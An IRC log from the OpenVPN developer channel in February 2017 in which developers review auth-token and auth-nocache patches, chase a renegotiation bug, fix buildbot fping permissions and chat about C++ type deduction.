<@dazo> { 15:35 <@dazo> 15:36 <@dazo> you don't do the check on c->options.mode .... which causes havoc on the server side, not processing the PUSH_REQUEST properly 15:37 <@dazo> I'm not sure this is the perfect fix ... I somehow like the simplicity of Selva's approach, but wiping both username and password isn't a bad thing though (even though username isn't as sensitive as the password, it do carry some value) 16:10 <@dazo> I've run test case 1-4 (including 3b and 4b) successfully ... renegotiations happens as expected 16:10 <@dazo> now I need to review the core changes far more closely :) 19:47 < ordex> dazo: thanks for spotting that ! I also liked selva's simplicity, although not really clean 19:48 < ordex> but yeah I was not convinced about not wiping the username too :D 19:48 < ordex> darn! 19:51 < slypknot> mornin ordex :) 19:55 < ordex> morning slypknot ! :) 19:56 < slypknot> I am here to keep you company :D 19:56 < slypknot> not really 20:07 < ordex> :D 20:07 < ordex> thanks slypknot ! 20:12 < ordex> dazo, I don't get this: "<@dazo> you don't do the check on c->options.mode .... which causes havoc on the server side, not processing the PUSH_REQUEST properly" 20:12 < ordex> although I don't check for the mode, incoming_push_message() should always be invoked no, ? 20:44 < ordex> dazo: what creates troubles here is only the "ping 3" option on the client, because it makes the client disconnect/reconnect (no renegotiation) and the server seems like it does not want to process the PUSH_REQUEST again (maybe because it thinks that this client is already all setup) 20:49 < ordex> yeah, the push-reply timer is not expired when the client reconnects and therefore the server does not send the new one. but this is ok. the problem is the client is just reconnecting continuosly with "ping 3" - if I remove that, everything is fine --- Day changed Fri Feb 10 2017 00:01 < ordex> does it make sense to put an ASSERT for a harmless condition, which is not expected to be true because it would not make sense ? 00:01 < ordex> for example: calling a function with arg1 = NULL is harmless, but basically makes no sense...should I add ASSERT(arg1) then ? 01:21 <@cron2> ordex: we usually only do this if it would be harmful (like, dereferencing it without a NULL check, or so) 01:23 < ordex> oky 01:23 < ordex> so only to "state" preconditions which would lead to a crash otherwise 01:23 < ordex> copy that! 04:49 < ordex> cron2: If I were to implement support for ip/x for ipv4 option parameters (i.e. ifconfig or server), do you think we should keep backward compatibility with the old format "ip netmask" as well? or we can assume config breakage as this will go in 2.5 (at least) ? 04:49 < ordex> ip/x format I mean 04:50 <@cron2> ordex: if we break existing configs, we'll all die horrible deaths :-) 04:50 < ordex> me included ? 04:50 < ordex> :D 04:51 <@cron2> (think of "a 2.5 client talking to a 2.3 server, being pushed 'ifconfig ip mask'") 04:51 < ordex> I imagined this kind of reply .. but who knows :P 04:51 * ordex takesa deep breath 04:51 < ordex> *takes 04:51 < ordex> yeah 04:51 < ordex> okok 04:52 < ordex> I am asking because the challenge is in the varying number of arguments that an option has. when using ip/x it is 1 argument, when using "ip netmask" they are two..and options.c poo poo 04:52 <@cron2> the openvpn ecosystem has become big, and folks like VPN providers use forks that are sometimes based on 2.2 still... so making the client side incompatible with older servers will be problematic - as will server->older clients be, so "pushing things with /bits" is aninteresting excercise as well 04:52 < ordex> but ok, thanks for the reply :) 04:52 <@cron2> right 04:52 < ordex> yeah 04:53 < ordex> yeah I totally agree - having full compatibilityis just much cleaner/better 04:53 * cron2 would LOVE to see netmask disappear. From everywhere. 04:53 < ordex> :D 04:53 < ordex> count me in !! 04:53 < ordex> I worked on #808 .. but then got inspired to continue the refactoring and provide a solution for supporting "ip/x" 04:53 < ordex> so, wait for some patches ;P 05:13 < ordex> cron2: probably for ifconfig-pool we have to keep the netmask format, no ? not sure how it should look like with a /bits 05:13 < ordex> maybe the start could be start/bits 05:15 < ordex> let's try that .. 06:42 <@dazo> syzzer: ping? 06:43 <@dazo> ordex: incoming_push_message() should always be called ... but the purge causes havoc when called in server mode 06:49 < ordex> dazo: oky, but how can incoming_push_message() return PUSH_MSG_REPLY if openvpn is in server mode ? :S 06:49 < ordex> that is why I thought there was no need to check the mode 06:50 <@cron2> not sure what you're doing, but it sounds scarily intrusive 06:50 < ordex> cron2: me ? 06:51 <@cron2> "purge causes havoc"... 06:51 < ordex> ah, that is dazo's feeling about the patch for #840 that I posted yesterday 06:51 < ordex> :p 06:53 <@cron2> if it even *can* affect server mode, it sounds scary... 06:53 < ordex> to clarify: we are talking about the first chunk in this patch: https://bpaste.net/show/153e8d51c02d 06:54 < ordex> the part of code that calls check_auth_pass_purge(); should be executed only by the client 06:54 < ordex> not the server 06:54 < ordex> in the patch I assume that if PUSH_MSG_REPLY is returned by incoming_push_message(), then we must be on a client 06:55 < ordex> without explicitly checking c.mode. At the moment I am not sure how/when check_auth_pass_purge() wouldbe called in server mode 06:56 * cron2 wouldn't claim to understand that code, but wonders why we're even *near* incoming_push_message() here 06:56 < ordex> oh 06:56 <@cron2> that is still about auth-token, right? 06:56 < ordex> right 06:56 < ordex> auth-token is sent within the push-reply 06:56 <@cron2> right, but then nicely stuffed into the option parser 06:57 <@cron2> so we normally never have to touch anything related to _push_ when working on options... 06:57 < ordex> mh 06:57 < ordex> this in an interesting comment.. 06:57 < ordex> so we could apply this logic in options.c after we have parsed the auth-token on the client side, right ? 06:58 <@cron2> this is what I'd assume, but as I said - never looked at the intricacies why things might not work out yet 06:58 < ordex> ok 06:58 <@cron2> but normally, pushed options get fully handled in options.c, possibly setting flags somewhere 06:58 < ordex> yeah 06:58 < ordex> I like that, would be even cleaner 06:58 <@cron2> which might be the problem - that the necessary flags are in two mutually inaccessible bits of our structures 06:59 <@dazo> The check_incoming_control_channel_dowork() is called on both server and client side, cron2 ... it's not so scary, but moving the purge from key_method_2_write() where purge_user_pass() was called only in relation to sending username/password changed the behaviour 06:59 < ordex> dazo: don't you also think that we chould move check_auth_pass_purge(); to options.s when parsing auth-token ? 06:59 < ordex> wouldnt't hat be cleaner? 07:00 <@cron2> ordex: that would actually not work, if no auth-token is pushed 07:00 <@dazo> ordex: that's what I tried in an approach closer to Selva's 07:00 < ordex> in that case, we keep the logic as it is, so no need to do anything, no? 07:00 <@cron2> dazo: where is the auth-token stored, in the username or password? 07:01 <@dazo> in the password field ... the username must remain the same 07:01 < ordex> dazo: right, that wouldn't work 07:01 <@cron2> ok, that explains Selva's patch. 07:01 < ordex> we must remove the call from key_method_2_write() anyway, so we must put it somewhere else 07:01 < ordex> ok 07:02 < ordex> so..I think my last patch still remains valid as it is, except for this server/client thing 07:02 <@dazo> if username changes, the server side will choke the connectiong when calling tls_lock_username() in verify_user_pass() 07:02 <@dazo> cron2: ^^ 07:02 <@cron2> and it will be an incompatible change, so possibly choking AS... 07:03 <@cron2> well... so we'll either keep the username cached, or move around half the code dealing with username+password purging, right? 07:04 <@dazo> I think ordex is closer to a proper solution, but it is more intrusive than selva's patch ... but having walked some of the same paths as selva, I fear that approach might have some more hidden issues 07:05 <@dazo> or to say it differently ... if this had been an easy fix, I would have posted a patch weeks ago :) 07:06 < ordex> my fear is that :D 07:06 < ordex> ops 07:06 < ordex> I wanted to write only ":D" 07:06 <@dazo> lol 07:06 <@cron2> yeah... we've run into the "at what point do we know if we have seen an incoming pushed-option or not?" issue with NCP, and it took us like 8 rounds to get that stuff working in all corner cases 07:06 <@cron2> s/us/syzzer/ :) 07:07 * cron2 just broke his work 07:07 <@dazo> yeah, it's pretty much a similar case here too 07:09 <@dazo> And to actually make OpenVPN 2 behave even better in AUTH_FAILED scenarios, we need to refactor send_control_channel_string() to not need a struct context pointer ... 07:09 <@cron2> let's just make all variables global *duck* 07:09 <@dazo> lol 07:09 <@cron2> (and then make everything threaded, and die in a maze of extraneous locks) 07:10 < ordex> lol 07:10 <@dazo> oh, that's easily fixed by having a global lock! 07:10 < ordex> we can have the BIG_OPENVPN_LOCK 07:10 < ordex> right ! 07:10 <@dazo> ;-) 07:10 <@dazo> great minds think a like? ;-) 07:10 * ordex reminds the BIG_KERNEL_LOCK 07:10 < ordex> :D 07:52 < ordex> dazo: a way to "improve" my auth-token patch, could be to move the call to check_purge..() from the push message parser to an outer layer where we know that the handshake has been completed. might be cleaner ? 07:53 < ordex> and "less intrusive" ? 09:14 <@dazo> ordex: it sounds "less intrusive" ... but with the code path maze, it's hard to predict now if it will be cleaner or not :) 09:16 < ordex> :D right 09:41 < slypknot> I am happy to help test :) I tested selva's already .. seems ok 09:42 < ordex> dazo: funny story :) 09:43 < ordex> do_up(), which in turns calls initialization_sequence_completed(), is invoked inside incoming_push_message() under the condition that the last parsed message was PUSH_MSG_REPLY 09:43 < ordex> :D 09:43 < ordex> exactly the same thing we are doing in the last patch 09:43 < ordex> eheh 09:44 < ordex> maybe we should just move the call to check_purge...() inside do_up() or initialization_sequence_completed() ? 09:44 < ordex> it would make sense actually, and those function are already called at the right time 09:44 < ordex> *functionS 10:06 < ordex> dazo: when using a an authentication script passed to auth-user-pass-verify, the generated token is sent only once, right? at that point it has to stay the same even after new renegotiations, right? becuase the server won't send a new push message (therefore can't send a new token) 10:08 < slypknot> cron2: dazo: would you like a trac regarding: You are advised to start using 'subdir-objects' option throughout your project, to avoid future incompatibilities (automake) ? 10:16 < ordex> dazo: this https://bpaste.net/show/170c7eb1bf2d uses the even "smoother" approach of calling check_auth_pass_purge() into initialization_sequence_completed() - it feels cleaner because it does not create any new code path, but simply hooks inside something we already have. I am done with this for now :P sorry for bothering this much :) 10:22 < ordex> (forgot to say that it passes the tests :p) 10:36 <@cron2> slypknot: I'll just take a patch instead :) 10:53 < slypknot> ah-ha yes of course ;) 10:59 <@dazo> ordex: yes, auth-token is currently only sent once per session ... but not strictly a design detail 11:01 <@dazo> ordex: just wondering ... any particular reason you have auth_pass_tokenized as a struct auth_user_pass pointer? Why not a bool? and can we avoid having it as a global var? 11:02 <@dazo> slypknot: I think I sent some patches to the ML ages ago, fixing this ... but they might not have been properly vetted/acked ... 11:02 <@dazo> ordex: but I agree ... this last patch definitely looks far better :) 11:04 <@dazo> ordex: and one more comment .... "auth-token received: disabling auth-nocache for user/pass" .... I would suggest: "auth-token received, disabling auth-nocache for the authentication token" 11:04 <@dazo> ordex: the password is not cached and won't be ... but we will cache the token :) 16:10 <@cron2> this might actually be an interesting new approach 16:10 <@cron2> ah 16:10 <@cron2> no 16:11 <@cron2> forget it *sigh* 17:02 <@dazo> ?? 19:24 < slypknot> why is it called C ? 19:26 < slypknot> money Changed hands 19:29 < slypknot> no dirty Money or Hands 19:29 < slypknot> qed 19:30 < slypknot> dirty Change 19:31 < slypknot> lotus 123 IIRC 19:46 < slypknot> just a wee blast from my past .. shutting up now 19:48 < slypknot> that may just be how the UK experienced it 20:08 <@dazo> slypknot: https://en.wikipedia.org/wiki/C_%28programming_language%29#History ;-) 20:08 <@vpnHelper> Title: C (programming language) - Wikipedia (at en.wikipedia.org) 20:26 < ordex> dazo: thanks. I was asking about the token because I created a verify script that would generate a new token upon every invocation .. but of course it was not working because the "push auth-token xxxx" was not re-sent, therefore the client couldn't be updated 20:26 < ordex> dazo: ok for the message! 20:27 < ordex> dazo: the tokenized is not a bool simply because when we call purge_user_pass we have no clue what user_pass object we have received ... so the only way is to check its location with what we have stored in tokenized 20:28 < ordex> dazo: I made it global because also auth_user_pass is global .. not sure it would make sense to make it a context variable if the object it is referring to is global 21:38 < ordex> dazo: the alternative would be to add a field "tokenized" to the user_pass struct and check that instead of having a global variable .... this would allow applying the same logic to other user_pass object in the future 21:49 < ordex> but as of now it would be a new field being used only by the auth-user-pass thing 21:52 < ordex> dazo: maybe veen cleaner https://bpaste.net/show/c889732ec5e7 :D looks like we are creating a sculpture 22:31 < slypknot> help me 22:36 < slypknot> C was chosen as a successor to B 22:37 < slypknot> any fuckin idiot that believes that ! 22:44 < slypknot> and fuckin Qbits 22:46 < slypknot> simulated 22:47 < slypknot> simulated with bits 22:47 < slypknot> i dont buy it 22:50 < slypknot> double slit 22:51 < slypknot> RSA 22:51 < slypknot> where are we now ? 22:52 < slypknot> EC 22:52 < slypknot> pah 22:54 < slypknot> hubble .. 23:06 < slypknot> you know the problem with nucular fiusion .. ? 23:06 < slypknot> not enof homers 23:12 < slypknot> black hole discovered in basingstoke 23:17 < slypknot> it is your money too --- Day changed Sat Feb 11 2017 00:09 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 245 seconds] 00:19 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 00:19 -!- mode/#openvpn-devel [+v krzee] by ChanServ 04:01 <@cron2> ordex: a global variable pointing to an object to discern "is it this one?" sounds a bit like the pitfalls we already have in the code :-) - so a flag in the struct might be a nicer approach 04:02 <@cron2> dazo: as for my comment from yesterday - I thought I had a brilliant idea, but it wasn't :-) 06:36 < ordex> cron2: yup, I moved it inside! it got cleaner and cleaner :D 07:28 < ordex> cron2: I hope you don't mind that I sent a patch for a bug that was assigned to you (#808) without asking, but I imagined you did not have much time to look into that any soon 07:48 * cron2 was surprisingly busy over the last 6 weeks 07:55 < ordex> I hope that's good :) --- Day changed Sun Feb 12 2017 06:10 < slypknot> The manual could use a rewrite of <connection> blocks .. what happens to options used *after* all the connection blocks .. are they not used ? 06:19 < ordex> they should[tm] just be treated as they were before the connection blocks 06:19 < ordex> order does not matter, it's the scope that does make a difference (inside or outside the block) 06:25 < slypknot> ordex: yes, but read what the manual actually says .. 06:42 < ordex> oh I see 06:42 < ordex> I think the man is right 06:42 < ordex> because when a connection block is found, the options object is "copied" inside the connection object, therefore settings that were not yet parsed are not copied 06:42 < ordex> makes sense 06:50 < slypknot> ordex: all it says is that options *before* connection blocks are applied to all blocks .. what happens to options after the blocks ? it makes no sense .. 06:51 < slypknot> so it i put --nobind *after* all connection blocks .. what happens then ? 06:51 < slypknot> if* 07:01 < ordex> it does not affect the connection profiles 07:01 < ordex> (any of those within the connection blocks) 07:02 < ordex> but if you have a remote outside, then those options will affect it 07:02 < ordex> no ? 07:11 < slypknot> the manual states: For example, suppose the nobind option were placed in the sample configuration file above, near the top of the file, before the first <connection> block. The effect would be as if nobind were declared in all <connection> blocks below it. 07:11 < slypknot> why does it specify *above* the blocks ? 07:12 < slypknot> it is mis-leading .. 07:14 < slypknot> like i said "what happens to options *after* the blocks ?" 07:15 < slypknot> is there something specific missing from the manual ? 07:17 < slypknot> in the example given: what happens to --ns-cert-tyupe server .. declared after the connection blocks ? 07:56 < ordex> well, I should check the code - can't say now :) 07:57 < ordex> maybe somebody else remmebers how that works 08:40 < slypknot> ordex: no prob .. hopefully somebody can clear it up :) 08:42 < slypknot> also, I wonder if there is a reason (other than dev time) why connection blocks do not allow cert/key etc .. you could have one config file for *all* your connections ! 09:56 <@syzzer> ahh, back from a week skiing, reading though the backlog... 09:59 <@syzzer> slypknot: connection-specific cert/key probably just needs dev time. I'm not entirely sure how the connection block are handled, but the key/certs are currently only loaded on startup or sighup. 09:59 <@syzzer> My guess is that it would need quite some refactoring to make it work 10:32 < slypknot> syzzer: yeah lots of work .. nice to have tho, all your desired remotes in one config file and let openvpn manage everything ! 11:15 <@cron2> syzzer: welcome back. Only had a single day boarding today, but that was also quite nice :) 11:16 <@cron2> so maybe we should aim for a meeting next week... --- Log closed Sun Feb 12 18:28:58 2017 --- Log opened Mon Feb 13 07:47:35 2017 07:47 -!- Irssi: #openvpn-devel: Total of 30 nicks [7 ops, 0 halfops, 1 voices, 22 normal] 07:47 -!- mode/#openvpn-devel [+o ecrist_] by ChanServ 07:47 -!- You're now known as ecrist 07:47 -!- Irssi: Join to #openvpn-devel was synced in 8 secs --- Day changed Tue Feb 14 2017 01:38 <@vpnHelper> RSS Update - tickets: #842: Windows 10 x64, OpenVPN 2.4.0-I602: <https://community.openvpn.net/openvpn/ticket/842> 02:31 <@syzzer> I could do a meeting tomorrow, or next week 02:31 <@syzzer> dazo: I'll check out the new keys tonight 07:10 <@vpnHelper> RSS Update - tickets: #843: Incorrect warning message when dropping packets because of "Recursive routing detected" <https://community.openvpn.net/openvpn/ticket/843> 08:50 <@dazo> syzzer: thx! 09:17 < ordex> cron2: fyi, "[PATCH] ifconfig-ipv6(-push): allow using hostnames" is a first step towards supporting /xx instead of netmasks in several places...once hat patch is in (if approved), I have a plan about how to slowly change the rest :) 09:18 <@cron2> understood. Just no time for "look at more than the commit message" yet, sorry 09:23 < ordex> yeah guessed so :) no problem on my side! (as soon as you don't start hating me because I am sending too many patches :P) 09:58 <@ecrist> it would be neat if openvpn supported CIDR 09:59 < ordex> I already spent some time restructuring the user input, but inner data structures still store the explicit netmask, therefore some more work is needed in order to make *every* feature work fine .. bloody path :D 10:35 <@mattock> meeting tomorrow? 10:45 <@cron2> we should 10:53 <@mattock> ok 11:00 <@mattock> any topic list? 11:40 <@ecrist> dazo: did you send out the new list keys yet? 12:38 <@cron2> mattock: patchworks is something I remembered just yesterday :-) - plus 2.4.1 release, and maybe a bit of "who is stalling doing what" - most of the "2.4.0 release people" seem to have needed a lazy period in January, it seems :-) 12:45 <@dazo> ecrist: nope ... awaiting a review of the key by syzzer first 12:46 <@dazo> we've had a little discussion, but it took a while as he was out skiing for some time 13:21 <@dazo> cron2: mattock: I have another meeting tomorrow at 20:00 CET ... so I won't be able to meet ... 13:21 <@dazo> jt 13:22 <@cron2> postpone a week? would that work for you? 13:22 <@dazo> But I'm reviewing ordex's auth-nocache + auth-token patch ... that should definitely be in 2.4.1 13:22 * dazo checks 13:23 <@dazo> next week can be doable, I'm home alone with $kid (an exception from our normal routine @ home) ... but I can at least join as soon as the bed time routine ends successfully 13:24 <@cron2> in that case, I'd argue for "next week" - I have lots of work on my plate (stuff to review and possibly merge), so I might make some progress until then 13:24 <@dazo> sounds good to me 13:25 <@dazo> as of from March 1 things opens up ... but on the other hand, we're expecting $kid2 around mid-March ... so who knows what happens after that :) 13:25 <@cron2> sleep deprivation again :) - let's make sure 2.4.1 is out before that 13:25 <@dazo> hehe :) 13:26 <@cron2> $n_kids++ will eat quite a few resources for half a year, at least... 13:27 <@cron2> my older one is in school now, which brings totally new excitement (like, appointments with teachers...) but things are generally much less stressful 13:27 <@cron2> most of the time... 13:27 <@dazo> yeah, I believe so too ... hoping for a similar routine as the first one ... that wasn't too bad :) 13:28 <@dazo> one part of me is looking forward to the time 2-3 years ahead of now ... but another part wants to prolong the time we have now (the 2y period) 13:29 <@dazo> so fun to see how the kid developers, is curious and learns the whole time 13:29 <@dazo> develops* 13:29 <@cron2> 3-5 years is a great time 13:30 <@dazo> yeah :) 14:09 <@dazo> hmmm ... I might have discovered a bug ... using --ping + --ping-restart only on client makes the renegotiation behave odd if there is no traffic on the tunnel before the first reneg 14:11 <@dazo> okay, it's only if the --ping/--ping-restart values are short (testing 3/6 now, that fails) 14:27 <@dazo> okay ... seems to be related to NCP .... 14:28 <@dazo> and it is only if --ping-restart is lower than 13-14 seconds. --ncp-disable on both sides, and it works as expected. Even setting --cipher AES-256-GCM 14:31 < slypknot> dazo: similar looking post on the forum to what you say above 14:32 <@dazo> slypknot: got a pointer? do we have a trac ticket on it? 14:32 * dazo is about to create a ticket 14:32 < slypknot> https://forums.openvpn.net/viewtopic.php?f=36&t=23438&p=68016#p68016 14:32 <@vpnHelper> Title: OpenVPN Configuration Problems - Routing - OpenVPN Support Forum (at forums.openvpn.net) 14:32 < slypknot> sorry was getting the link 14:32 < slypknot> FYI: openvpn client iOS 3.1.2 14:33 < slypknot> server 2.4.0 14:33 <@dazo> nope, that's not the issue I see 14:33 < slypknot> succeful connection (no errors I can see) followed by ping-timeout at 120 seconds 14:33 <@dazo> I see things failing around PUSH_REQUEST on renegotiations ... it does a hard reset of the connection after some time 14:42 < slypknot> does openvpn core 3.1.2 arm64 iOS support cipher negotiation ? 14:44 < slypknot> who is in charde of openvpn 3 ? (i forget) 14:44 < slypknot> charge* 14:45 <@dazo> yes, the openvpn 3 core should support NCP, afair 14:45 < slypknot> dazo: thanks 14:45 <@dazo> Officially James Yonan is in charge for the openvpn 3 code base ... but I've started working on it as well, to get Linux client running 14:45 < slypknot> ok 14:46 < slypknot> cool 14:49 <@dazo> f**c .... this seems to turn out to be a heisenbug ..... :/ 14:50 <@dazo> re-testing with --ncp-disable fails too now :/ 15:00 * dazo puts this into his "debug later" list ... back to patch review 15:03 < slypknot> dazo: you say "using --ping + --ping-restart only on client" do you not have similar in server config ? otherwise openvpn server will not ping (i believe) 15:10 <@dazo> ordex: ... found a bug the latest auth-nocache patch .... the client caches user/passwd on the second re-negotiation even when --auth-nocache is activated ... server not running any token stuff 15:10 <@dazo> gee, this is a hard nut to crack 15:10 <@dazo> client: openvpn --client --remote 192.168.122.1 --ca openvpn/sample/sample-keys/ca.crt --key openvpn/sample/sample-keys/client.key --cert openvpn/sample/sample-keys/client.crt --verb 4 --dev tun --auth-user-pass --explicit-exit-notify --ping 30 --ping-restart 20 --auth-nocache 15:11 <@dazo> server: openvpn --dev tun --server 10.8.0.0 255.255.255.0 --ca sample/sample-keys/ca.crt --key sample/sample-keys/server.key --cert sample/sample-keys/server.crt --dh sample/sample-keys/dh2048.pem --script-security 3 --auth-user-pass-verify ../openvpn-testing/auth.sh via-env --verb 4 --reneg-sec 15 15:18 < slypknot> dazo: cli --ping 30 --ping-restart *20* vs srv --reneg-sec 15 .. your restart occurs before your ping and your reneg occurs before either ! 15:35 <@dazo> that is actually intentional in this test case .... and it should not result in the client sending 2-4 PUSH_REQUEST without getting a server reply 15:36 <@dazo> --reneg-sec can also be 30 ... and the same happens ... even with --ping 15 it behaves similarly 15:50 < slypknot> ima testing now 16:17 < slypknot> dazo: --client --explicit-exit-notify *3* 16:19 <@dazo> btw slypknot ... this error is only triggered if there is no traffic on the tunnel before the first reneg 16:19 < slypknot> i am still testing 16:20 <@dazo> explicit-exit-notify shouldn't have anything to do here ... that can actually be removed ... but you then probably need to restart the server on each iteration to have a consistent test environment 16:20 < slypknot> i am using 2.5_git and i am seeing multiple PULL requests 16:21 <@dazo> great ... that's the issue 16:21 < slypknot> push* 16:22 < slypknot> i think it is a wierd timing thing tho .. sometimes it works ok (same session) 16:25 <@dazo> yeah, probably is 16:26 < slypknot> i just tested your settings plus the --exit-notify 3 and it simply works fine .. don't know how i got the multi PUSH requests 16:27 < slypknot> tested 20 time (inputing user/pass --- Log closed Tue Feb 14 16:35:53 2017 --- Log opened Wed Feb 15 07:13:27 2017 07:13 -!- Irssi: #openvpn-devel: Total of 29 nicks [7 ops, 0 halfops, 1 voices, 21 normal] 07:13 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 07:13 -!- Irssi: Join to #openvpn-devel was synced in 8 secs 08:12 <@dazo> ordex: yes .. the --ping-restart issue is something very different ... I could reproduce that on a clean git master ... will do some bisect coming days to figure this out 08:13 <@dazo> I'll have a look at your lastest patch :) 09:08 <@vpnHelper> RSS Update - tickets: #844: OpenVPN fails to build against LibreSSL 2.5.1 <https://community.openvpn.net/openvpn/ticket/844> 09:09 -!- marmotta is now known as skodde 09:12 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 240 seconds] 09:14 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 09:14 -!- mode/#openvpn-devel [+v krzee] by ChanServ 09:50 <@cron2_> sec# 4096R/2F2B01E7 2017-02-09 [expires: 2027-02-07] 09:50 <@cron2_> uid OpenVPN - Security Mailing List <security@openvpn.net> 10:30 <@dazo> cron2_: that's the master key ... which you don't have access to 10:30 <@dazo> ssb 4096R/0xF80E8008F6D9F8D7 2017-02-09 [expires: 2018-03-06] 10:30 <@dazo> ssb 4096R/0xD72AF3448CC2B034 2017-02-09 [expires: 2018-03-06] 10:30 <@dazo> that's the subkeys which you have 10:30 * cron2_ just wanted to comment "successfully imported!" 10:30 <@dazo> ahh :) 10:30 <@dazo> I thought you referred to the long life time :) 10:31 <@dazo> good to hear it worked :) --- Day changed Thu Feb 16 2017 01:54 <@vpnHelper> RSS Update - gitrepo: Fix building with LibreSSL 2.5.1 by cleaning a hack. <https://github.com/OpenVPN/openvpn/commit/dcfd3b6173d8cdb4658de23db1dd0bd932b390d2> 02:35 <@cron2_> slypknot: your buildbots are failing the t_client tests for large packets - anything you changed? firewall rules, ...? 03:09 <@cron2_> mattock: your windows buildslave is slightly deranged these days... 03:09 <@cron2_> res/openvpn-gui-res.rc:41:33: fatal error: openvpn-gui-res-cs.rc: No such file 03:10 <@cron2_> "this is not my doing" 03:19 <@mattock> cron2: noticed 03:19 <@mattock> that is probably due to changes in openvpn-gui 03:19 <@mattock> probably = almost certainly 05:38 <@mattock> cron2_: https://github.com/OpenVPN/openvpn-gui/pull/132 05:38 <@vpnHelper> Title: Fix builds from release tarballs by mattock · Pull Request #132 · OpenVPN/openvpn-gui · GitHub (at github.com) 06:03 < slypknot> cron2_: I am only getting emails about gentoo failing .. just checked arch 6:fping.out and it shows all pings succeeded (except the ones meant to fail) 06:04 < slypknot> no firewall change that i can think of .. 06:06 < slypknot> arch *:fping.out all succeeded 06:07 < slypknot> gentoo need sudo for fping by the look of ?:fping.out 06:08 < slypknot> eg: fping6 -b 3000 -C 20 -p 250 -q -i 500 fd00:abcd:194:6::1 fd00:abcd:194:0::1 06:08 < slypknot> (null): can't create raw socket (must run as root?) : Permission denied 06:32 <@cron2_> that might well be... 06:32 <@cron2_> sudo or s-bit 06:36 * slypknot is checking s.bit 06:40 < slypknot> cron2_: man fping 06:40 < slypknot> RESTRICTIONS 06:40 < slypknot> If certain options are used (i.e, a low value for -i and -t, and a high value for -r) it is possible to flood the 06:40 < slypknot> network. This program must be installed as setuid root in order to open up a raw socket, or must be run by root. In 06:40 < slypknot> order to stop mere mortals from hosing the network, normal users can't specify the following: 06:40 <@cron2_> yes, this is why you need sudo or s-bit 06:41 < slypknot> maybe i can override with $EXTRA_ARGS or what ever it was 06:41 <@cron2_> no 06:42 < slypknot> ok 06:42 < slypknot> i thought that was the way it works ? 06:43 <@cron2_> everyone else installs fping/fping6 suid root, and it works 07:02 < slypknot> here's something odd: t_client.sh tests for fping in user $PATH (buildbot in this case) but fping is *not* in the user $PATH because buildbot does not have /usr/sbin .. so that test appears to be failing ? 07:05 < slypknot> it is evaluated correctly when logged in as buildbot on tty 07:11 < slypknot> that is: which: no fping in (/usr/local/bin:/usr/bin:/bin:/opt/bin:/usr/x86_64-pc-linux-gnu/gcc-bin/4.9.4) 07:11 < slypknot> ./t_client.sh: fping is not available in $PATH 07:38 < slypknot> cron2_: i chmod 4755 fping* .. can you start a build please 07:39 < slypknot> on gentoo only if poss 09:15 < ordex> aloha 19:36 < ordex> morning :) --- Day changed Fri Feb 17 2017 00:14 <@vpnHelper> RSS Update - tickets: #845: set cipher for client in ccd <https://community.openvpn.net/openvpn/ticket/845> 00:27 < ordex> mh, shouldn't ncp be enough here ? 00:30 < ordex> mh 01:28 <@cron2_> ordex: there might be reasons to give one client a different cipher, like "no AES library" 01:29 <@cron2_> but while a desirable feature, that's actually amazingly hard 01:34 < ordex> oh I see 01:41 <@mattock> morning 08:16 -!- dazo [~dazo@openvpn/corp/developer/dazo] has left #openvpn-devel [] 08:16 -!- dazo [~dazo@openvpn/corp/developer/dazo] has joined #openvpn-devel 08:16 -!- mode/#openvpn-devel [+o dazo] by ChanServ 09:24 <@cron2_> syzzer: ah, new food for thought :-) (pushable cipher) 09:27 <@syzzer> cron2_: indeed, let's see if you can reason this one broken too ;) 09:27 <@syzzer> I *think* I got it right now 10:02 <@dazo> "It's just 10 pages of actual text, so should be quite digestible." :-D 10:02 <@dazo> syzzer++ 10:17 < ordex> :D 10:52 < Vbif> is anyone here? 10:53 < ordex> nope 10:58 < mahendratech> Can anyone helps how to enable ldap auth on group 10:59 <@dazo> mahendratech: ask on #openvpn 11:00 < mahendratech> thanks 11:02 < Vbif> does tap-windows driver have some debug features or logging? 11:21 < Vbif> !git 11:21 <@vpnHelper> "git" is (#1) The public git trees are here: a) git://git.code.sf.net/p/openvpn/openvpn, b) https://gitlab.com/openvpn/openvpn.git, c) https://github.com/OpenVPN/openvpn/, or (#2) All of these git locations should always be in sync and identical, if not something bad has happened and you should inform the developers ASAP, or (#3) See !git-doc how to use git, or (#4) for the windows TUN/TAP driver 11:21 <@vpnHelper> repo, look at !tapdrvr, or (#5) git troubles? http://justinhileman.info/article/git-pretty/git-pretty.png 11:21 < Vbif> !tapdrvr 11:22 <@vpnHelper> "tapdrvr" is http://sourceforge.net/p/openvpn/tap-windows/ci/master/tree/ 11:28 -!- dazo [~dazo@openvpn/corp/developer/dazo] has left #openvpn-devel [] 11:30 -!- dazo [~dazo@openvpn/corp/developer/dazo] has joined #openvpn-devel 11:30 -!- mode/#openvpn-devel [+o dazo] by ChanServ 13:35 * cron2_ gives up trying to understand openssh 18:16 < ordex> morning !! 18:16 * ordex is in da weekend! 18:37 <@dazo> heh :) 18:39 <@dazo> I'm reading up on C++11 and C++14, focusing on the auto and decltype features now ... and it feels like they are bunch of traps 18:39 <@dazo> decltype(auto) f1() 18:39 <@dazo> { 18:39 <@dazo> int x = 0; 18:39 <@dazo> return x; // decltype(x) is int, so f1 returns int 18:39 <@dazo> } 18:39 <@dazo> decltype(auto) f2() 18:39 <@dazo> { 18:39 <@dazo> int x = 0; 18:39 <@dazo> return (x); // decltype((x)) is int&, so f2 returns int& 18:40 <@dazo> } 18:41 <@dazo> (which is not even comparable to C at all, as 'return x;' or 'return (x);' would be an 'int' regardless .... yeah, yeah, C doesn't have 'auto' type either) 18:42 <@dazo> and this remark to this behaviour is priceless: "Note that not only does f2 have a different return type from f1, it’s also returning a reference to a local variable! That’s the kind of code that puts you on the express train to undefined behavior - a train you certainly don’t want to be on." 18:47 < ordex> wo 18:47 < ordex> w 18:48 < ordex> LOL 18:48 < ordex> don't atch the train dazo !!! 18:48 < ordex> *catch 18:51 <@dazo> There's a lot of nice and cool features in C++11/C++14 too ... but I really wonder if C++ feels so chaotic to me due to lack of C++ experience and that I've been too long in the "simple" plain C world ... or if this all these things are traps and confusing areas for experienced C++ developers as well 18:53 <@dazo> I mean ... just look at this: "Calls to std::type_info::name are not guaranteed to return anything sensible, but implementations try to be helpful. The level of helpfulness varies. The GNU and Clang compilers report that the type of x is 